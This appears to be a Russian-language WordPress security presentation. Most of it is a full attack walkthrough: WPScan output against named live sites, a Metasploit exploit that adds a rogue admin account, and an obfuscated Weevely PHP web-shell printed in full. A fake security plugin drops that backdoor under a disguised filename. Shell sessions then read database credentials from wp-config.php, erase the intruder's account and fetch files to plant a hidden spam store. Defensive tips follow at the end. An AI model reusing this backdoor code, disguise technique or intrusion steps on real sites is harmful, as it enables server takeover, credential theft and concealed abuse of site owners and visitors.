[+] Detected parent theme: twentyeleven - v1.7

[+] Name: twentyeleven - v1.7
 |  Location: http://arc.research.umich.edu/wp-content/themes/twentyeleven/
 |  Readme: http://arc.research.umich.edu/wp-content/themes/twentyeleven/readme.txt
 |  Style URL: http://arc.research.umich.edu/wp-content/themes/twentyeleven/style.css
 |  Theme Name: Twenty Eleven
 |  Theme URI: http://wordpress.org/themes/twentyeleven
 |  Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a c...
 |  Author: the WordPress team
 |  Author URI: http://wordpress.org/

[+] Enumerating plugins from passive detection ...
 | 8 plugins found:

[+] Name: contact-form-7 - v3.9.3
 |  Location: http://arc.research.umich.edu/wp-content/plugins/contact-form-7/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/contact-form-7/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/contact-form-7/

[!] Title: Contact Form 7 & Old WP Versions - Crafted File Extension Upload Remote Code Execution
    Reference: https://wpvulndb.com/vulnerabilities/7021
    Reference: http://packetstormsecurity.com/files/125018/
    Reference: http://seclists.org/fulldisclosure/2014/Feb/0
    Reference: http://osvdb.org/102776

[+] Name: jquery-collapse-o-matic - v1.5.7
 |  Location: http://arc.research.umich.edu/wp-content/plugins/jquery-collapse-o-matic/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/jquery-collapse-o-matic/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/jquery-collapse-o-matic/

[+] Name: jquery-colorbox - v4.6
 |  Location: http://arc.research.umich.edu/wp-content/plugins/jquery-colorbox/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/jquery-colorbox/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/jquery-colorbox/

[+] Name: mailchimp - v1.4.1
 |  Location: http://arc.research.umich.edu/wp-content/plugins/mailchimp/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/mailchimp/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/mailchimp/

[+] Name: page-list - v4.2
 |  Location: http://arc.research.umich.edu/wp-content/plugins/page-list/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/page-list/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/page-list/

[+] Name: social - v2.11
 |  Location: http://arc.research.umich.edu/wp-content/plugins/social/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/social/README.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/social/

[+] Name: wp-paginate - v1.2.4
 |  Location: http://arc.research.umich.edu/wp-content/plugins/wp-paginate/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/wp-paginate/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/wp-paginate/

[+] Name: youtube-shortcode - v1.8.5
 |  Location: http://arc.research.umich.edu/wp-content/plugins/youtube-shortcode/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/youtube-shortcode/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/youtube-shortcode/
[+] Finished: Thu Oct  2 21:34:06 2014
[+] Memory used: 5.469 MB
[+] Elapsed time: 00:01:36
root@badguy2: ~#

Это сайт на платформе WordPress, с которым мне часто приходится иметь дело по работе.

WPScan определил, что сервер работает на кроссплатформенным ПО Apache, но не смог выяснить, какой он версии.

Несмотря на правило №1, соблюдение которого просто необходимо для должного обеспечения безопасности, — это регулярно обновлять всё имеющееся в арсенале владельца сайта ПО, настоящий сайт все еще работает на WordPress версии 3.8.1. Это очень плохо, к сожалению, подобное поведение не редкость.

WPScan обнаружил девять уязвимых мест в системе безопасности. Большая часть из них, скорее всего, будут не особо полезными для случайного злоумышленника, но некоторые все же могут дать ему возможность взломать ваш сайт. Более подробно об обнаруженных слабых местах читайте под каждой ссылкой в результатах сканирования WPScan.

WPScan обнаружил одну тему («orci», которая в соответствии с полученными результатами производная от темы двадцать одиннадцать – Twenty Eleven) и 8 дополнительных модулей. Вероятных таких уязвимых мест гораздо больше, если проверить систему с помощью сканирования WPScan в режиме полного поиска плагинов («wpscan —enumerate ap»).

Имейте в виду, что конфигурация веб-сервера, позволяющей размещение справочного или рекламного контента из различных источников – потенциально полезная для злоумышленника брешь в системе безопасности.

Ели бы мы решили взломать этот сайт, то WPScan предоставил нам для этого множество возможных потенциальных лазеек и обходных путей.

WPScan

Теперь нашей целью (мишенью) будет:  http://myblog2.catseye.org/

Script started on Thu 02 Oct 2014 09:49:02 PM EDT
root@badguy2: ~# wpscan --url myblog2.catseye.org
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.5.1
     Sponsored by the RandomStorm Open Source Initiative
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://myblog2.catseye.org/
[+] Started: Thu Oct  2 21:49:18 2014

[!] The WordPress 'http://myblog2.catseye.org/readme.html' file exists
[+] Interesting header: SERVER: Apache/2.4.7 (Ubuntu)
[+] Interesting header: X-POWERED-BY: PHP/5.5.9-1ubuntu4.4
[+] XML-RPC Interface available under: http://myblog2.catseye.org/xmlrpc.php

[+] WordPress version 4.0 identified from meta generator

[+] WordPress theme in use: twentyfourteen - v1.2

[+] Name: twentyfourteen - v1.2
 |  Location: http://myblog2.catseye.org/wp-content/themes/twentyfourteen/
 |  Style URL: http://myblog2.catseye.org/wp-content/themes/twentyfourteen/style.css
 |  Theme Name: Twenty Fourteen
 |  Theme URI: http://wordpress.org/themes/twentyfourteen
 |  Description: In 2014, our default theme lets you create a responsive magazine website with a sleek, modern des...
 |  Author: the WordPress team
 |  Author URI: http://wordpress.org/

[+] Enumerating plugins from passive detection ...
 | 1 plugins found:

[+] Name: custom-contact-forms - v5.1.0.3
 |  Location: http://myblog2.catseye.org/wp-content/plugins/custom-contact-forms/
 |  Readme: http://myblog2.catseye.org/wp-content/plugins/custom-contact-forms/readme.txt
[!] Directory listing is enabled: http://myblog2.catseye.org/wp-content/plugins/custom-contact-forms/

[!] Title: Custom Contact Forms <= 5.0.0.1 - Cross Site Scripting
    Reference: https://wpvulndb.com/vulnerabilities/6296
    Reference: http://packetstormsecurity.com/files/112616/

[!] Title: Custom Contact Forms <= 5.1.0.3 Database Import/Export
    Reference: https://wpvulndb.com/vulnerabilities/7542
    Reference: http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html
    Reference: http://www.rapid7.com/db/modules/auxiliary/admin/http/wp_custom_contact_forms
[i] Fixed in: 5.1.0.4
[+] Finished: Thu Oct  2 21:49:21 2014
[+] Memory used: 2.191 MB
[+] Elapsed time: 00:00:03
root@badguy2: ~# exit

WPScan указал не только какое серверное программное обеспечение используется, но и версии http-сервера Apache и PHP.

WPScan обнаружил плагин Custom Contacts Form (формы обратной связи) и корректно заметил уязвимость в базе данных у данного плагина.

Metasploit

http://www.metasploit.com/

Metasploit

Metasploit доступен в четырех версиях:

  • Metasploit Framework (бесплатная программа, с открытым исходным кодом, управление только через командную строку (консоль)).
  • Metasploit Community (бесплатное ПО, снабжено веб-интерфейсом)
  • Metasploit Express, Metasploit Pro (коммерческое ПО)

Чтобы запустить веб-интерфейс Metasploit под управлением Kali Linux, введите следующие команды:

service postgresql start
service metasploit start

Подождите несколько минут, пока запустится Metasploit и создайте базу данных, затем перейдите на сайт: http://badguy2.catseye.org:3790/.

Все что показано в данной презентации можно выполнить с любым из указанных выше вариантов ПО Metasploit. В настоящем демо показе мы используем Metasploit Community.

Основные этапы:

  1. Создайте личный кабинет в Metasploit.
  2. Получите и введите лицензионный ключ (для версий Community, Express, Pro)
  3. Создайте проект.
  4. Выберите и запустите эксплойт для вторжения на сайт-мишень нашей атаки.
  5. Можете делать все, что захотите с сайтом-жертвой атаки.

Шаги 1 из 2 уже были выполнены мной ранее, перейдем непосредственно к этапу 3.

Проект как хранилище, в котором всегда можно найти данные о тестируемых системах и результаты проведенных испытаний.

Веб-интерфейс Metasploit – главная страница:

Мetasploit

Эта страница, которую видит пользователь, после того как он создал профиль пользователя в Metasploit, запросил и ввел ключ продукта, а затем вошел в личный кабинет.

Щелкните по кнопке «Создать новый проект».

Введите название проекта и либо сети, либо IP адерса, которые собираетесь тестировать, а затем щелкните по вкладке Создать проект.

Мetasploit

Чтобы ускорить процесс, поскольку мы будем работать только с одной целью, достаточно указать IP адрес. Указывать сетевой диапазон (диапазон номеров сети) не обязательно.

Страница просмотра проекта:

Мetasploit

По правилам мы должны бы вначале выполнить сканирование системы с помощью Metasploit, а только затем использовать функцию «Эксплойт» для попытки взлома сайтов, обнаруженных сканером. Но поскольку мы и так знаем по результатам сканирования программой WPScan, что наш сайт-мишень имеет уязвимый плагин, чтобы сэкономить время пропустим этот этап. Теперь просто нажмите вкладку «Модули» в меню вверху страницы и выберите «Поиск». Затем уточните поиск «WordPress».

Мы на самом деле мы не используем и половины имеющихся у Metasploit возможностей.

Список эксплойт модулей от Metasploit для взлома WordPress:

Мetasploit

Выберите команду «Загрузка SQL скрипта для плагина обратной связи сайта на WordPress».

У площадки WordPress также есть множество других уязвимых мест, не представленных здесь. Если мы решим воспользоваться каким-либо приемом, не обозначенный в настоящих материалах, то нам понадобится создать модуль для пробной атаки в Metasploit самостоятельно, можно это сделать, как в ручную, так и с помощью различных инструментов.

Мetasploit

Хотя помимо прочего есть возможность настроить массу дополнительных опций, нам достаточно лишь убедится, что IP адрес целевой системы указан верно, а затем выбрать команду «Запуск модуля». Затем программа Metasploit попытается создать аккаунт нового администратора на целевом WordPress сайте.

Чтобы содержание веб-страницы поместилось в слайде, я отредактировал поля, которые обычно отображаются в секции «Опции модуля».

Работа с эксплойтом:

Мetasploit

На данный момент это все, что касается работы с эксплойтами. Сайт был взломан программой и мы сможем войти в консоль управления в качестве администратора.

Заметьте, что модуль эксплойта вначале определили код таблицы с базой данных сайта и только после этого загрузил SQL-запрос, чтобы создать аккаунт администратора.

Авторизация  злоумышленника

Авторизация на сайте

Наиболее эффективным способом усложнить процесс регистрации на сайте для злоумышленника, будет сделать страницу авторизации доступной только по определенным параметрам. Например, если злоумышленник находится, скажем, во Вьетнаме, а страница входа в систему доступна только для IP адресов, находящихся в городе Анн-Арборе, штата Мичиган, США, тогда злоумышленнику потребуется использовать VPN, попытаться проникнуть на сайт через слабые места в CCF, чтобы украсть информацию об одной из сессий из базы данных сайта, либо попытаться еще раз устроит атаку сайта с помощью SQL-запроса.

Пользователи WordPress

WordPpress Users

Как видите, пользователь, зарегистрированный через эксплойт, спокойно получил все права администратора и может выполнять через консоль сайта те же операции, что и владелец сайта или блога.

Хотя вполне очевидно, что было проникновение на сайт. Если настоящий владелец в это время зайдет в консоль управления, то он увидеть наш аккаунт, удалит его и, возможно, предпримет какие-то меры по защите сайта, например, обновит версию WordPress.

И что же теперь?

  • Мы можем создать или изменить некоторые посты и публикации в надежде, что владелец не заметит этого. Так мы можем вписать в статью SEO ключи или просто вставить ссылки на другие сайты, либо выполнить скрытую загрузку средств кибернападения, чтобы получить нужные данные с компьютеров посетителей сайта. Но, разумеется, стоит ожидать, что владелец сайта заметит наш аккаунт рано или поздно.
  • Мы можем закрыть доступ к сайту его владельцу, изменив все пароли, либо просто испортить сайт, заспамить его и т.д., но владелец, скорее всего, восстановит управление ресурсом через своего хостинг провайдера, а затем восстановит сайт с помощью резервной копии. Владельцы веб-ресурсов часто создают полные копии своих сайтов, регулярно обновляя их и проверяя их сохранность.
  • Либо, мы можем установить скрытую лазейку, которая позволит нам получить полный контроль над сервером – а затем скрыть следы нашего пребывания, удалив созданный нами аккаунт администратора…

Weevely

  • Weevely – это скрытый PHP веб-шелл, снабженный консолью наподобие telnet-протокола. Является основным инструментом для работы с постэксплуатацией веб-приложенияй, который можно использовать, как скрытый путь обхода системы защиты.
  • Weevely состоит из более чем 30 модулей для автоматизации административных и постэксплуатационных задач.
  • Weevely снабжен подробной обучающей инструкцией по применению.
  • Weevely входит в стандартный пакет дистрибутива Kali Linux.
  • Чтобы создать код для входа на сайт, который вы затем сможете загрузить на веб-сервер, чтобы получить скрытый удаленный доступ к серверу, используйте команду weevely generate и добавьте к ней пароль, который вы собираетесь использовать для управления backdoor:
root@badguy2:~# weevely generate L3tM3In
[generate.php] Backdoor file 'weevely.php' created with password 'L3tM3In'
root@badguy2:~#

 

Существуют десятки других PHP шеллов и бэкдор, мы выбрали Weevely, потому что эта программа проста и удобна в использовании, и потому что она входит в пакет дистрибутива Kali Linux.

Вот обфусцированный PHP код (weevely.php), который Weevely сгенерировал для нас для загрузки на сервер:

<?php
$puda="sjMpeyRrPSd0TTNJbic7ZWesNesobyesAnPCcuJGsuJz4nO2V2YWwoYmFzZTesY0X2RlY29kZShwcmVnX";
$qdqy = str_replace("v","","svtvrv_rveplvavce");
$gsqi="JesGM9J2esNvdW50JzskYT0kX0esNesPesT0tJRTestpZihyZXNlesdCgkYSk9esPesSdMMycgJiYgJGMoJGEpPe";
$oydb="3JlcGxhY2esUoYXJyYXkoJy9esbesXeslx3PVxzXSes8nLCcvXHMvJykessIGFycmF5KCcnLCcrJyesksIGespvaW4";
$dscq="oYXJyYXlesfc2xpY2UoJGesEsJGesMoJesGEespLTMespKSkpesKTestlY2hesvIesCc8LycuJGsuJz4esnO30=";
$itjh = $qdqy("ca", "", "bacascae64_dcaecaccaode");
$vwfl = $qdqy("rk","","rkcrkrrkerkarkterk_frkurknrkctrkirkorkn");
$qbdh = $vwfl('', $itjh($qdqy("es", "", $gsqi.$puda.$oydb.$dscq))); $qbdh();
?>

Это активный PHP код, который принимает команду от хакера, проверяет пароль взломщика на совпадение, и, если, с паролем все в порядке, выполняет команду.

Если мы разместим файл weevely.php в корневой директории сайта, тогда мы сможем войти через бэкдор по адресу: http://myblog2.catseye.org/weevely.php (хотя чтобы зайти туда нам также придется использовать Weevely, если попытаться зайти по этому адресу через обычный веб-браузер, то откроется пустая страница).

Помимо того, что код обфусцирован, он является еще полиморфным, т.е. в нем присутствует некий случайный элемент, являющийся уникальным для каждого кода, генерируемого Weevely – такой подход позволяет предотвратить обнаружение кода антивирусным ПО и другим сканерами вредоносных программ после его загрузки.

Итак, как же нам загрузить файл weevely.php на целевой веб-сервер?

  • Благодаря эксплойт модулю Metasploit мы создали профиль администратора на сайте WordPress, а администраторы на площадке WordPress могут загружать плагины, содержащие файлы с разрешением.php.
  • Но незнакомый плагин, присутствие которого не предполагалось, может стать еще более очевидной уликой вторжения в консоль управления – согласно статистике, пользователи гораздо чаще обращают внимание на плагины, чем на зарегистрированных пользователей. Поэтому владелец сайта может просто удалить наш плагин вместе с содержащемся в нем коде бэкдор.
  • Итак, мы загрузили плагин, который создаст бэкдор при его активации, при этом бэкдор он разместит вне директории самого плагина. Затем мы удалим и плагин, и аккаунт администратора, скрыв признаки проникновения на сайт.
  • Мы разместим код бэкдор в главной директории движка WordPress и назовем его wp-options.php (который не является частью сайта WordPress), чтобы удобней было замаскировать его под легальный файл.

Другие варианты размещения и установки бэкдор – в скрытой директории, которую мы создадим, или либо спрятать глубоко в директории wp-content/uploads.

Мы стараемся избегать размещения бэкдор в директориях wp-admin или wp-includes, т.к. его могут удалить во время обновления версии WordPress.

Плагин Weevely

Наш плагин, который доставит бэкдор в нужное место, выгляди следующим образом:

<?php
/*
Plugin Name: WP Elite Security Pro
Description: WP Elite Security Pro addresses over 250 potential security problems to keep your WordPress site secure like nothing else can.  Includes the Elite Guardian monitoring techology to keep you informed about attacks against your site.
Version: 1.3.1
Author: WP Trust Assurance, Inc.
Author URI: http://wordpress.org/plugins/wp-elite-security
License: GPL3
*/

function wesp_activate() {

  $str = <<<'ENDOFSTRING'
/**
 * Enhanced Security Keys and Salts.
 *
 * These are unique to each WordPress site and are generated automatically
 * during installation and upgrades.  They should not be changed manually.
 *
 * @since 4.0.0
 */
$puda="sjMpeyRrPSd0TTNJbic7ZWesNesobyesAnPCcuJGsuJz4nO2V2YWwoYmFzZTesY0X2RlY29kZShwcmVnX";
$qdqy = str_replace("v","","svtvrv_rveplvavce");
$gsqi="JesGM9J2esNvdW50JzskYT0kX0esNesPesT0tJRTestpZihyZXNlesdCgkYSk9esPesSdMMycgJiYgJGMoJGEpPe";
$oydb="3JlcGxhY2esUoYXJyYXkoJy9esbesXeslx3PVxzXSes8nLCcvXHMvJykessIGFycmF5KCcnLCcrJyesksIGespvaW4";
$dscq="oYXJyYXlesfc2xpY2UoJGesEsJGesMoJesGEespLTMespKSkpesKTestlY2hesvIesCc8LycuJGsuJz4esnO30=";
$itjh = $qdqy("ca", "", "bacascae64_dcaecaccaode");
$vwfl = $qdqy("rk","","rkcrkrrkerkarkterk_frkurknrkctrkirkorkn");
$qbdh = $vwfl('', $itjh($qdqy("es", "", $gsqi.$puda.$oydb.$dscq))); $qbdh();
ENDOFSTRING;

  $str = "<" . "?php\n" . $str . "\n?" . ">\n";

  $file = fopen( '/var/www/html/wp-options.php', 'w' );
  fwrite( $file, $str );
  fclose( $file );

}

register_activation_hook( __FILE__, 'wesp_activate' );
?>

Строка заголовка полностью придуманный бред, это сделано на случай, если кто-то загрузит плагин во время непродолжительного периода, который у нас будет на его установку.

Мы встроим в плагин единственную функцию, которая заработает после его активации. Функция заключается в создании нового файла /var/www/html/wp-options.php и вписанного в него бэкдор-кода созданого Weevely.

Заметьте, что мы добавили несколько комментариев, которые в действительности полнейший вымысел, в начало файла, содержащего бэкдор. Это сделано с целью придать ему как можно более безобидный вид на случай, если владелец сайта найдет его и просмотрит. Ключ защиты и прочие средства не следует мешать вместе, все должно выглядит на подобие обфусцированного PHP-кода, т.е. быть почти незаметным.

Также заметьте, что мы удалили PHP-тэги из файла Weevely, мы добавим их позднее – это сделано, чтобы предотвратить его преждевременный запуск во время работы плагина.

Загрузка плагина содержащего бэкдор

Упакуйте в папку Zip наш плагин wp-elite-security, загрузите его и активируйте.

Использование программы Weevely

После того, как мы установили бэкдор, мы можем с атакующей машины установить соединение непосредственно с сервером и таким образом выполнить любую команду по нашему желанию:

root@badguy2: ~# weevely http://myblog2.catseye.org/wp-options.php L3tM3In
      ________                     __
     |  |  |  |----.----.-.--.----'  |--.--.
     |  |  |  | -__| -__| |  | -__|  |  |  |
     |________|____|____|___/|____|__|___  | v1.1
                                     |_____|
              Stealth tiny web shell

[+] Browse filesystem, execute commands or list available modules with ':help'
[+] Current session: 'sessions/myblog2.catseye.org/wp-options.session'
www-data@myblog2:/var/www/html $ ls -l
total 184
-rw-r--r--  1 www-data www-data   418 Sep 24  2013 index.php
-rw-r--r--  1 www-data www-data 19930 Apr  9 19:50 license.txt
-rw-r--r--  1 www-data www-data  7192 Apr 21 00:42 readme.html
-rw-r--r--  1 www-data www-data  4951 Aug 20 13:30 wp-activate.php
drwxr-xr-x  9 www-data www-data  4096 Sep  4 12:25 wp-admin
-rw-r--r--  1 www-data www-data   271 Jan  8  2012 wp-blog-header.php
-rw-r--r--  1 www-data www-data  4946 Jun  5 00:38 wp-comments-post.php
-rw-r--r--  1 www-data www-data  2746 Aug 26 15:59 wp-config-sample.php
-rw-rw-rw-  1 www-data www-data  3036 Oct  2 20:14 wp-config.php
drwxr-xr-x  6 www-data www-data  4096 Oct  3 14:30 wp-content
-rw-r--r--  1 www-data www-data  2956 May 13 00:39 wp-cron.php
drwxr-xr-x 12 www-data www-data  4096 Sep  4 12:25 wp-includes
-rw-r--r--  1 www-data www-data  2380 Oct 24  2013 wp-links-opml.php
-rw-r--r--  1 www-data www-data  2714 Jul  7 12:42 wp-load.php
-rw-r--r--  1 www-data www-data 33043 Aug 27 01:32 wp-login.php
-rw-r--r--  1 www-data www-data  8252 Jul 17 05:12 wp-mail.php
-rw-r--r--  1 www-data www-data   856 Oct  3 14:33 wp-options.php
-rw-r--r--  1 www-data www-data 11115 Jul 18 05:13 wp-settings.php
-rw-r--r--  1 www-data www-data 26256 Jul 17 05:12 wp-signup.php
-rw-r--r--  1 www-data www-data  4026 Oct 24  2013 wp-trackback.php
-rw-r--r--  1 www-data www-data  3032 Feb  9  2014 xmlrpc.php
www-data@myblog2:/var/www/html $ :system.info
[system.info] Error downloading TOR exit list: 'http://exitlist.torproject.org/exit-addresses'
[system.info] Error downloading TOR exit list: 'http://exitlist.torproject.org/exit-addresses.new'
+--------------------+------------------------------------------------------------------------------------+
| client_ip          | 192.168.4.144                                                                      |
| max_execution_time | 30                                                                                 |
| script             | /wp-options.php                                                                    |
| check_tor          | False                                                                              |
| open_basedir       |                                                                                    |
| hostname           | myblog2                                                                            |
| php_self           | /wp-options.php                                                                    |
| whoami             | www-data                                                                           |
| uname              | Linux myblog2 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 |
| safe_mode          | 0                                                                                  |
| php_version        | 5.5.9-1ubuntu4.4                                                                   |
| release            | Ubuntu 14.04.1 LTS                                                                 |
| dir_sep            | /                                                                                  |
| os                 | Linux                                                                              |
| cwd                | /var/www/html                                                                      |
| document_root      | /var/www/html                                                                      |
+--------------------+------------------------------------------------------------------------------------+
www-data@myblog2:/var/www/html $

К примеру, вы можете напечатать :help и получите список всех встроенных команд, поддерживаемых Weevely. А все, что не начинается с двоеточия, воспринимается, как команда для веб-сервера-жертвы.

Скрываем следы своего присутствия

Теперь, когда мы знаем, что установленный нами бэкдор работает, убираем все следы нашего посещения сайта с помощью аккаунта администратора, для чего необходимо выполнить следующие шаги:

  • Отключите  только что установленный плагин.
  • Удалите плагин, который мы только что установили.
  • Хотелось бы еще удалить аккаунт администратора, но мы не можем это сделать из своего аккаунта, поэтому просто выходим из системы.

Мы можем удалить аккаунт администратора, созданного эскплойтом, если сами обновим базу данных сайта. Если понадобится, можно будет создать новый аккаунт позднее.

www-data@myblog2:/var/www/html $ grep DB_ wp-config.php
define('DB_NAME', 'wordpress');
define('DB_USER', 'wordpress');
define('DB_PASSWORD', 'PexpD&F');
define('DB_HOST', 'localhost');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -h ost localhost -dbms mysql -query "select * from wordpress.wp_users"
+---+------------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+
| 1 | admin      | $P$BzhnOQuKjAFmmMJaVwQzTMppk4Z43C0 | admin | markmont@myblog2.catseye.org |  | 2014-10-03 00:15:16 |  | 0 | admin |
| 2 | dimuHQRery | $P$BS0KP5qd5Vhs4MVZ7ZIoMcIU0R2AjB/ |       |                              |  | 0000-00-00 00:00:00 |  | 0 |       |
+---+------------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "delete from wordpress.wp_users where ID = 2"

No data returned, check credentials and dbms availability.
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "delete from wordpress.wp_usermeta where user_id = 2"
No data returned, check credentials and dbms availability.
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "select * from wordpress.wp_users"
+---+-------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+
| 1 | admin | $P$BzhnOQuKjAFmmMJaVwQzTMppk4Z43C0 | admin | markmont@myblog2.catseye.org | | 2014-10-03 00:15:16 | | 0 | admin |
+---+-------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+
www-data@myblog2:/var/www/html $

Получить идентификационные данные мы можем через wp-config.php  и использовать эту лазейку для получения любой нужной нам информации из базы данных сайта.

Открываем интернет-магазин

Давайте загрузим некоторые HTML файлы на сервер сайта, чтобы создать адрес (не существующего) интернет магазина в скрытой директории.

URL адресом нашего магазина будет:  http://myblog2.catseye.org/wp-content/uploads/2014/10/.store

www-data@myblog2:/var/www/html $ curl -s -O http://www-personal.umich.edu/~markmont/awp/store.tar
www-data@myblog2:/var/www/html $ tar -C /var/www/html -x -f store.tar
www-data@myblog2:/var/www/html $ rm store.tar
www-data@myblog2:/var/www/html $ mv store wp-content/uploads/2014/10/.store
www-data@myblog2:/var/www/html $ ls wp-content/uploads/2014/10/.store
index.html
shopkeepers.jpg
www-data@myblog2:/var/www/html $ ls wp-content/uploads/2014/10
www-data@myblog2:/var/www/html $
[!] Exiting. Bye ^^
root@badguy2: ~#

Наш виртуальный магазин

Теперь мы готовы направить 15 млн. писем с URL-адрес нашего магазина!!

Магазин в потайной директории

Вопросы?

Это конец презентации, а слайды, которые идут далее, содержат советы о том, как обезопасить ваш сайт на движке WordPress, а также другую справочную информацию.

Как обеспечить безопасность вашему сайту, работающему на WordPress

Своевременное выполнение обновлений:

  1. Проверяйте не вышли ли новые обновления системы WordPress, тем и плагинов не реже раза в неделю и своевременно выполняйте обновления.

«Но я не хотел бы нарушить уже отлаженные настройки!»

  • Заведите «пробный» сайт, где вы будете апробировать все свежие обновления, прежде чем установить их на основной работающий сайт. Такой проверкой может быть даже установка WordPress на ваш компьютер, если вы не хотите платить за хостинг услуги еще одного сайта.
  • Подождите примерно 2-3 дня, не более, после выхода обновлений, посмотрите в отзывах на форумах о проблемах с новыми обновлениями, и если таковых нет, то можете спокойно обновлять систему.
  • При маловероятном исходе событий, обновление системы может привести к нарушению нормальной работы сайта. В таком случае вернитесь к предыдущей версии (через шелл или SFTP-доступ), либо восстановите сайт из резервной копии (вы ведь регулярно создаете резервные копии, не так ли?).

Вы также можете бесплатно скачать приложение BitNami Stack для WordPress из магазина Mac App Store. Оно позволит с легкостью управлять «пробным» сайтом с экрана вашего компьютера.

Немного больше внимания и усилий потребуют приложения WAMP (для Windows) или MAMP (для Mac).

 

Либо для полного контроля можно арендовать сервер с ОС Linux, который будет выполнять роль виртуальной машины у вас на компьютере.

Позаботьтесь о надежной защите паролей:

  • Если доступ к управлению сайтом имеете только вы и авторы, ограничьте (через настройку конфигураций на веб-сервере) географическое расположение мест, откуда можно входить в систему.
  • В других случаях используйте плагины, такие как Limit Login Attempts или Login Security Solution, ограничивающие число попыток авторизации, предотвращая взлом пароля простым угадыванием.
  • Не сообщайте никому постороннему и не храните на компьютере данные об используемых никах для входа на WordPress. Не следует иметь аккаунт под ником «admin» (если у вас такой существует, замените его на любой другой), и убедитесь, что действительные имена и фамилии авторов, отображаемые в панели управления сайта, не используются ими в качестве логинов для входа (если таковые есть, попросите заменить их на ники).

Следите за защитой паролей:

  • Рекомендации по выбору пароля:
    • Не используйте один и тот же пароль для нескольких сайтов или аккаунтов.
    • Убедитесь, что все ваши пароли достаточно длинные и сложные.
  • Наилучший вариант: создавайте случайные одноразовые пароли с помощью менеджера паролей, например, такие как 1Password или PassPack.
  • Либо: используйте в пароле от четырех и более слов, несвязанных между собой по смыслу (например, «правильный, лошадь, батарея, скоба»).
  • Либо: используйте начальные буквы каждого слова в некоем придуманном вами или взятом из книг предложении, добавив туда числа и знаки пунктуации.

В марте 2013 года интернет-издание Ars Technica опубликовало статью о том, как легко можно взломать пароль.

Если вы решили использовать слова, ни в коем случае не составляйте из них фразы – убедитесь, что слова не связаны по смыслу. Даже редко употребляемые фразы легко угадать, если их использовать в качестве пароля.

Вам необходимо уделить больше внимания двум параметрам защиты: ваш пароль не должен легко разгадываться, и если один из паролей украдут (с этого или других сайтов), убедитесь, что злоумышленник не сможет воспользоваться им для входа в другие используемые вами сервисы.

Поскольку, как оказалось, пароль довольно легко взломать, то ограничить географию мест, откуда пользователи могут входить в аккаунт. Или вам действительно так необходимо свободно входить в панель управления сайтом – без использования VPN – скажем, из какой-нибудь кофейной во Вьетнаме?

Хостинг и (протокол безопасных соединений) SSL:

  • Выбирайте только надежного хорошо зарекомендовавшего себя поставщика хостинг услуг, у которого тщательно следят за вопросами безопасности (прежде чем воспользоваться услугами провайдера, поинтересуйтесь у него о гарантиях безопасности для вашего сайта).
    • Отдавайте предпочтение хостинг провайдеру, который позволит вам установить и самостоятельно управлять движком WordPress, а также всеми имеющимися на площадке темами и плагинами. Таким образом вы будете иметь полный контроль над безопасностью своего сайта.
    • Выбирайте хостинг поставщика, который обеспечивает безопасность операционной системы, веб-сервера, и сервера баз данных для своих клиентов, а также выполняет резервное копирование сайтов своих клиентов.
      • Регулярно проверяйте выполняет ли ваш провайдер хостинга все обновления вовремя, чтобы быть уверенным, что на сайте используется последняя версия патчей ОС, веб-сервера и сервера БД, какие бы дистрибутивы изначально и какое ПО не использовал провайдер, они должны быть своевременно обновляться и иметь поддержку разработчика.
  • Используйте протокол SSL (HTTPS) для страницы аутентификации и для других страниц, доступных только администратору.
    • Если вы не будете использовать протокол SSL, ваше имя пользователя и пароль будут каждый раз отправляться через общедоступную сеть прямым текстом, и могут быть перехвачены.
  • Выберите хостера, который позаботился о предоставлении вам SSL-сертификата, управлении/продлении его действия, и настройке веб-сервера для SSL, так что все, что вам нужно будет сделать, это включить его в WordPress.

Не выбирайте хостинг провайдера, основываясь только на стоимости его услуг!

Веб-сервер и система файлов:

  • Заблокируйте доступ к директориям wp-includes и wp-admin/includes
  • Заблокируйте доступ к .htaccess файлам
  • Заблокируйте доступ или удалите файлы с разрешением .txt и README.
  • Убедитесь, что права на запись к файлам и каталогам, установлены только вам. Последняя цифра разрешения должно всегда быть 0, 4, или 5, но не 6 или 7.

Прочие вопросы:

  • Обеспечьте безопасность ваших баз данных:
    • При установке WordPress выберите для таблицы базы данных иной префикс, чем wp_.
    • Удалите базу данных test.
